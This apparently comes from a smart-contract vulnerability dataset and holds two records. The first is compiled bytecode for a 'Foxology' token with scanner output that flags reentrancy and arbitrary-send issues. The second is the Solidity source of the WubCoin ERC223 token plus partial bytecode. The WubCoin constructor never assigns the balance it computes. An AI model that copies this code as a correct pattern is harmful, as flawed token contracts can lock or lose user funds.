fffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce90612f40565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661073561125f565b73ffffffffffffffffffffffffffffffffffffffff161461075557600080fd5b600047905061076381611c55565b50565b60006107b0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d50565b9050919050565b6107bf61125f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084390612f40565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f466f786f6c6f6779000000000000000000000000000000000000000000000000815250905090565b600061098461097d61125f565b8484611432565b6001905092915050565b61099661125f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1a90612f40565b60405180910390fd5b60005b8151811015610ab4576001600a6000848481518110610a4857610a476133bd565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aac90613316565b915050610a26565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610af961125f565b73ffffffffffffffffffffffffffffffffffffffff1614610b1957600080fd5b6000610b2430610766565b9050610b2f81611dbe565b50565b610b3a61125f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbe90612f40565b60405180910390fd5b600f60149054906101000a900460ff1615610c17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0e90612fc0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ca730600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611267565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ced57600080fd5b505afa158015610d01573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2591906128a5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8757600080fd5b505afa158015610d9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dbf91906128a5565b6040518363ffffffff1660e01b8152600401610ddc929190612d90565b602060405180830381600087803b158015610df657600080fd5b505af1158015610e0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2e91906128a5565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eb730610766565b600080610ec261090a565b426040518863ffffffff1660e01b8152600401610ee496959493929190612de2565b6060604051808303818588803b158015610efd57600080fd5b505af1158015610f11573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f369190612a75565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550680ad78ebc5ac62000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611039929190612db9565b602060405180830381600087803b15801561105357600080fd5b505af1158015611067573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108b9190612a1b565b5050565b61109761125f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611124576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111b90612f40565b60405180910390fd5b60008111611167576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115e90612f00565b60405180910390fd5b611196606461118883683635c9adc5dea0000061204690919063ffffffff16565b6120c190919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111cd9190613000565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ce90612fa0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611347576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133e90612ec0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114259190613000565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149990612f80565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150990612e80565b60405180910390fd5b60008111611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c90612f60565b60405180910390fd5b61155d61090a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115cb575061159b61090a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b2e57600f60179054906101000a900460ff16156117fe573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164d57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117015750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117fd57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661174761125f565b73ffffffffffffffffffffffffffffffffffffffff1614806117bd5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117a561125f565b73ffffffffffffffffffffffffffffffffffffffff16145b6117fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f390612fe0565b60405180910390fd5b5b5b60105481111561180d57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118b15750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118ba57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119655750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119bb5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119d35750600f60179054906101000a900460ff165b15611a745742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a2357600080fd5b600a42611a309190613136565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a7f30610766565b9050600f60159054906101000a900460ff16158015611aec5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b045750600f60169054906101000a900460ff165b15611b2c57611b1281611dbe565b60004790506000811115611b2a57611b2947611c55565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bd55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bdf57600090505b611beb8484848461210b565b50505050565b6000838311158290611c39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c309190612e5e565b60405180910390fd5b5060008385611c489190613217565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ca56002846120c190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cd0573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d216002846120c190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d4c573d6000803e3d6000fd5b5050565b6000600654821115611d97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8e90612ea0565b60405180910390fd5b6000611da1612138565b9050611db681846120c190919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611df657611df56133ec565b5b604051908082528060200260200182016040528015611e245781602001602082028036833780820191505090505b5090503081600081518110611e3c57611e3b6133bd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ede57600080fd5b505afa158015611ef2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1691906128a5565b81600181518110611f2a57611f296133bd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f9130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611267565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611ff595949392919061301b565b600060405180830381600087803b15801561200f57600080fd5b505af1158015612023573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561205957600090506120bb565b6000828461206791906131bd565b9050828482612076919061318c565b146120b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ad90612f20565b60405180910390fd5b809150505b92915050565b600061210383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612163565b905092915050565b80612119576121186121c6565b5b6121248484846121f7565b80612132576121316123c2565b5b50505050565b60008060006121456123d4565b9150915061215c81836120c190919063ffffffff16565b9250505090565b600080831182906121aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a19190612e5e565b60405180910390fd5b50600083856121b9919061318c565b9050809150509392505050565b60006008541480156121da57506000600954145b156121e4576121f5565b600060088190555060006009819055505b565b60008060008060008061220987612436565b95509550955095509550955061226786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461249e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122fc85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061234881612546565b6123528483612603565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123af9190613000565b60405180910390a3505050505050505050565b60076008819055506008600981905550565b600080600060065490506000683635c9adc5dea00000905061240a683635c9adc5dea000006006546120c190919063ffffffff16565b82101561242957600654683635c9adc5dea00000935093505050612432565b81819350935050505b9091565b60008060008060008060008060006124538a60085460095461263d565b9250925092506000612463612138565b905060008060006124768e8787876126d3565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bf1565b905092915050565b60008082846124f79190613136565b90508381101561253c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253390612ee0565b60405180910390fd5b8091505092915050565b6000612550612138565b90506000612567828461204690919063ffffffff16565b90506125bb81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126188260065461249e90919063ffffffff16565b600681905550612633816007546124e890919063ffffffff16565b6007819055505050565b600080600080612669606461265b888a61204690919063ffffffff16565b6120c190919063ffffffff16565b905060006126936064612685888b61204690919063ffffffff16565b6120c190919063ffffffff16565b905060006126bc826126ae858c61249e90919063ffffffff16565b61249e90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126ec858961204690919063ffffffff16565b90506000612703868961204690919063ffffffff16565b9050600061271a878961204690919063ffffffff16565b9050600061274382612735858761249e90919063ffffffff16565b61249e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061276f61276a846130b5565b613090565b9050808382526020820190508285602086028201111561279257612791613420565b5b60005b858110156127c257816127a888826127cc565b845260208401935060208301925050600181019050612795565b5050509392505050565b6000813590506127db81613736565b92915050565b6000815190506127f081613736565b92915050565b600082601f83011261280b5761280a61341b565b5b813561281b84826020860161275c565b91505092915050565b6000813590506128338161374d565b92915050565b6000815190506128488161374d565b92915050565b60008135905061285d81613764565b92915050565b60008151905061287281613764565b92915050565b60006020828403121561288e5761288d61342a565b5b600061289c848285016127cc565b91505092915050565b6000602082840312156128bb576128ba61342a565b5b60006128c9848285016127e1565b91505092915050565b600080604083850312156128e9576128e861342a565b5b60006128f7858286016127cc565b9250506020612908858286016127cc565b9150509250929050565b60008060006060848603121561292b5761292a61342a565b5b6000612939868287016127cc565b935050602061294a868287016127cc565b925050604061295b8682870161284e565b9150509250925092565b6000806040838503121561297c5761297b61342a565b5b600061298a858286016127cc565b925050602061299b8582860161284e565b9150509250929050565b6000602082840312156129bb576129ba61342a565b5b600082013567ffffffffffffffff8111156129d9576129d8613425565b5b6129e5848285016127f6565b91505092915050565b600060208284031215612a0457612a0361342a565b5b6000612a1284828501612824565b91505092915050565b600060208284031215612a3157612a3061342a565b5b6000612a3f84828501612839565b91505092915050565b600060208284031215612a5e57612a5d61342a565b5b6000612a6c8482850161284e565b91505092915050565b600080600060608486031215612a8e57612a8d61342a565b5b6000612a9c86828701612863565b9350506020612aad86828701612863565b9250506040612abe86828701612863565b9150509250925092565b6000612ad48383612ae0565b60208301905092915050565b612ae98161324b565b82525050565b612af88161324b565b82525050565b6000612b09826130f1565b612b138185613114565b9350612b1e836130e1565b8060005b83811015612b4f578151612b368882612ac8565b9750612b4183613107565b925050600181019050612b22565b5085935050505092915050565b612b658161325d565b82525050565b612b74816132a0565b82525050565b6000612b85826130fc565b612b8f8185613125565b9350612b9f8185602086016132b2565b612ba88161342f565b840191505092915050565b6000612bc0602383613125565b9150612bcb82613440565b604082019050919050565b6000612be3602a83613125565b9150612bee8261348f565b604082019050919050565b6000612c06602283613125565b9150612c11826134de565b604082019050919050565b6000612c29601b83613125565b9150612c348261352d565b602082019050919050565b6000612c4c601d83613125565b9150612c5782613556565b602082019050919050565b6000612c6f602183613125565b9150612c7a8261357f565b604082019050919050565b6000612c92602083613125565b9150612c9d826135ce565b602082019050919050565b6000612cb5602983613125565b9150612cc0826135f7565b604082019050919050565b6000612cd8602583613125565b9150612ce382613646565b604082019050919050565b6000612cfb602483613125565b9150612d0682613695565b604082019050919050565b6000612d1e601783613125565b9150612d29826136e4565b602082019050919050565b6000612d41601183613125565b9150612d4c8261370d565b602082019050919050565b612d6081613289565b82525050565b612d6f81613293565b82525050565b6000602082019050612d8a6000830184612aef565b92915050565b6000604082019050612da56000830185612aef565b612db26020830184612aef565b9392505050565b6000604082019050612dce6000830185612aef565b612ddb6020830184612d57565b9392505050565b600060c082019050612df76000830189612aef565b612e046020830188612d57565b612e116040830187612b6b565b612e1e6060830186612b6b565b612e2b6080830185612aef565b612e3860a0830184612d57565b979650505050505050565b6000602082019050612e586000830184612b5c565b92915050565b60006020820190508181036000830152612e788184612b7a565b905092915050565b60006020820190508181036000830152612e9981612bb3565b9050919050565b60006020820190508181036000830152612eb981612bd6565b9050919050565b60006020820190508181036000830152612ed981612bf9565b9050919050565b60006020820190508181036000830152612ef981612c1c565b9050919050565b60006020820190508181036000830152612f1981612c3f565b9050919050565b60006020820190508181036000830152612f3981612c62565b9050919050565b60006020820190508181036000830152612f5981612c85565b9050919050565b60006020820190508181036000830152612f7981612ca8565b9050919050565b60006020820190508181036000830152612f9981612ccb565b9050919050565b60006020820190508181036000830152612fb981612cee565b9050919050565b60006020820190508181036000830152612fd981612d11565b9050919050565b60006020820190508181036000830152612ff981612d34565b9050919050565b60006020820190506130156000830184612d57565b92915050565b600060a0820190506130306000830188612d57565b61303d6020830187612b6b565b818103604083015261304f8186612afe565b905061305e6060830185612aef565b61306b6080830184612d57565b9695505050505050565b600060208201905061308a6000830184612d66565b92915050565b600061309a6130ab565b90506130a682826132e5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130d0576130cf6133ec565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061314182613289565b915061314c83613289565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131815761318061335f565b5b828201905092915050565b600061319782613289565b91506131a283613289565b9250826131b2576131b161338e565b5b828204905092915050565b60006131c882613289565b91506131d383613289565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561320c5761320b61335f565b5b828202905092915050565b600061322282613289565b915061322d83613289565b9250828210156132405761323f61335f565b5b828203905092915050565b600061325682613269565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132ab82613289565b9050919050565b60005b838110156132d05780820151818401526020810190506132b5565b838111156132df576000848401525b50505050565b6132ee8261342f565b810181811067ffffffffffffffff8211171561330d5761330c6133ec565b5b80604052505050565b600061332182613289565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133545761335361335f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61373f8161324b565b811461374a57600080fd5b50565b6137568161325d565b811461376157600080fd5b50565b61376d81613289565b811461377857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365466f786f6c6f677920546f6b656e5f542e6d652f43727970746f466f786f6c6f6779a264697066735822122074a20ecc73dc1251449b03c0782b0af9f91f76d1752779368b457ea72a07103464736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,837
0x8c5a05b691288f85e6e27bf6b5a454d2814f5a6f
pragma solidity ^0.4.11; /** * Thank you for checking out WubCoin * * WubCoin powers a new generation of electronic music producers, teachers and events. * For more information visit http://wubcoin.com * * Copyright by Stefan K.K https://stefan.co.jp */ /** * @title Contract that will work with ERC223 tokens. */ contract ERC223ReceivingContract { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data); } /** * Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } contract ERC20CompatibleToken { using SafeMath for uint; mapping(address => uint) balances; // List of user balances. event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint256 value); mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract ERC223Interface { uint public totalSupply; function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); function transfer(address to, uint value, bytes data); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); } /** * @title Based on the reference implementation of the ERC223 standard token. */ contract WubCoin is ERC223Interface, ERC20CompatibleToken { using SafeMath for uint; string public name = "WubCoin"; string public symbol = "WUB"; uint8 public decimals = 18; uint256 public totalSupply = 15000000 * 10 ** 18; function WubCoin(address companyWallet) { balances[companyWallet].add(totalSupply); Transfer(0x0, companyWallet, totalSupply); } /** * We don't accept payments to the token contract directly. */ function() payable { revert(); } /** * @dev Transfer the specified amount of tokens to the specified address. * Invokes the `tokenFallback` function if the recipient is a contract. * The token transfer fails if the recipient is a contract * but does not implement the `tokenFallback` function * or the fallback function to receive funds. * * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. * @param _data Transaction metadata. */ function transfer(address _to, uint _value, bytes _data) { // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . uint codeLength; assembly { // Retrieve the size of the code on target address, this needs assembly . codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(codeLength>0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); } Transfer(msg.sender, _to, _value, _data); } /** * @dev Transfer the specified amount of tokens to the specified address. * This function works the same with the previous one * but doesn't contain `_data` param. * Added due to backwards compatibility reasons. * * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. */ function transfer(address _to, uint _value) { uint codeLength; bytes memory empty; assembly { // Retrieve the size of the code on target address, this needs assembly . codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(codeLength>0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, empty); } Transfer(msg.sender, _to, _value, empty); } /** * @dev Returns balance of the `_owner`. * * @param _owner The address whose balance will be returned. * @return balance Balance of the `_owner`. */ function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } }
0x6060604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014d57806318160ddd146101a757806323b872dd146101d0578063313ce56714610249578063661884631461027857806370a08231146102d257806395d89b411461031f578063a9059cbb146103ad578063be45fd62146103ef578063d73dd62314610474578063dd62ed3e146104ce575b600080fd5b34156100ca57600080fd5b6100d261053a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101125780820151818401526020810190506100f7565b50505050905090810190601f16801561013f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015857600080fd5b61018d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105d8565b604051808215151515815260200191505060405180910390f35b34156101b257600080fd5b6101ba6106ca565b6040518082815260200191505060405180910390f35b34156101db57600080fd5b61022f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106d0565b604051808215151515815260200191505060405180910390f35b341561025457600080fd5b61025c610a8f565b604051808260ff1660ff16815260200191505060405180910390f35b341561028357600080fd5b6102b8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610aa2565b604051808215151515815260200191505060405180910390f35b34156102dd57600080fd5b610309600480803573fffffffffffffffffffffffffffff